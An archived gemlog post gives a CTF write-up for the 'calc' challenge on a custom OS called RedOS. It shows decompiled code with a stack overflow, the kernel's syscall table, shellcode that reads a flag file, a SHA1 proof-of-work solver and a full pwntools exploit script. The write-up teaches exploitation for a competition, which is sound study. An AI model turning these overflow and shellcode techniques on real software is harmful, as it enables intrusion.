💾 Archived View for 0x80.org › gemlog › 2015-11-30-calc.gmi captured on 2022-04-28 at 17:40:41. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
This challenge is an exploitation challenge. A binary is given and it runs in RedOS. An operating system created for the exploitation challenges.
We first load the binary in IDA with base address 0x100000. We then reach main function at 0x1008bc. The psudeo-code of the function looks like the following
main () { ... ... _ = print (v3, "Welcome to calc.exe\n", v20); while (1) { in = _; v7 = read_buffer (&in, 0x100u); if (!v7) break; in = v7; v8 = strtok (&in, 10); if (v8) *v8 = 0; in = op1; if (!strcmp (&in, "help")) { print (v9, "Type 'exit' to exit.\n", v21); _ = print (v14, "Type two numbers and I will calculate their sum\n", v15); } else { in = op2; if (!strcmp (&in, "exit")) { print (v10, "Exiting...\n", v22); exit (); } in = v11; tok = strtok (&in, ' '); op2 = tok; if (tok) { next_tok = tok + 1; op1 = atoi (&in); op2 = op1 + atoi (next_tok); _ = print (v17, "%d + %d = %d\n", op1); if (op2 == 0x31337) { print (v18, "Mes5 wi+h the b3st, d1e l1k3 the rest\n", v23); return 0; } } else { in = v13; _ = print (v13, "Missing a space; your input was %x\n", &in); } } } return 0; }
There is no proper limit on input buffer, causing a stack overflow. Now to the fun part. The exploit, and shellcode.
First let's understand how RedOS handles syscalls. The system uses interrupt 0xff as a syscall handler which is handled by function in kernel at address 0xc0102660. Syshandler psudeocode :
int __cdecl syscall_handler (struct_a1 * args) { int result; // eax@3 if (args->stat > 0x15u) { UNKNOWN_SYSCALL: printk ("unknown syscall:\n"); result = dbg ((int) args); args->stat = -1; } else { switch (args->stat) { case 0: .......... goto UNKNOWN_SYSCALL; case 1: // read result = sys_read (args); break; case 2: // write result = sys_write (args); break; case 3: // exit result = sys_exit (); break; case 4: // spawn result = sys_spawn (args); break; case 5: // yield result = sys_yield (); break; case 9: // open result = sys_open ((int) args); break; case 0xA: // getdirent result = sys_getdirent (args); break; case 0xB: // shutdown sys_shutdown (); return result; case 0x14: // shmap .... break; case 0x15: // ctfdrm .... break; } } return result; }
We know the flag is at /ctf/level1.flag so we need to craft our shellcode to do the following :
and we need to make sure that no badchars in the things we send.
;; push '/ctf/level1.flag\x00' push 1 dec byte ptr [esp] push 0x67616c66 push 0x2e316c65 push 0x76656c2f push 0x6674632f ;; fd = open("tour shellcode to do the fo/ctf/level1.flag\x00"); mov al,0x09 mov ebx, esp mov cl, 1 mov dl, 1 int 0xff ;; read(fd, esp, 0x36) mov ebx,eax mov al,0x01 mov ecx,esp mov dl,0x36 int 0xff ;; write(0,esp,0x36) mov al,0x02 xor ebx,ebx int 0xff
Now we connect, solve the SHA1 challenge, send buffer, control esp,ebp,..etc and eip, then execute shellcode and get the flag. Full exploit :
Code that solves sha1:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/sha.h> int main(int argc, char *argv[]) { int i; char buf[21] = { 0 }; unsigned char h[SHA_DIGEST_LENGTH]; strcpy(buf, argv[1]); for (i = 0; i < 1000000000; ++i) { sprintf(buf + 12, "%08d", i); SHA1(buf, 20, h); if (h[19] == 0 && h[18] == 0 && h[17] == 0) { puts(buf); break; } } return 0; }
Exploit :
#!/usr/bin/python from pwn import * from os import system h = 'os-uedhyevi.9447.plumbing' r = remote(h, 9447) d = r.recvuntil("\n") d = d.split(' ')[6] system("./a.out %s > out" % d) # solves the sha1 d = open("out").read().strip() r.sendline(d) d = r.recvuntil("\n").strip().split(' ')[-1] r = remote(h, int(d)) buf = "A" * 795 buf += p32(0x7ffffee0 + 4) buf += "\x90" * 65 sh = "6a01fe0c2468666c616768656c312e682f6c6576682f637466".decode("hex") sh += asm("mov al,0x09; mov ebx, esp; mov cl, 1; mov dl, 1; int 0xff") # fd=open(flag) sh += asm("mov ebx,eax; mov al,0x01; mov ecx,esp; mov dl,0x36; int 0xff") # read(1,fd,...) sh += asm("mov al,0x02; xor ebx,ebx; int 0xff") # write(0,buf) buf += sh + "B" * (915 - len(buf)-len(sh)) buf += p32(0x7ffffee0+4) buf += "C" * 1024 buf = buf[:1024] r.sendline(buf) r.sendline("201527 0") print r.recvall()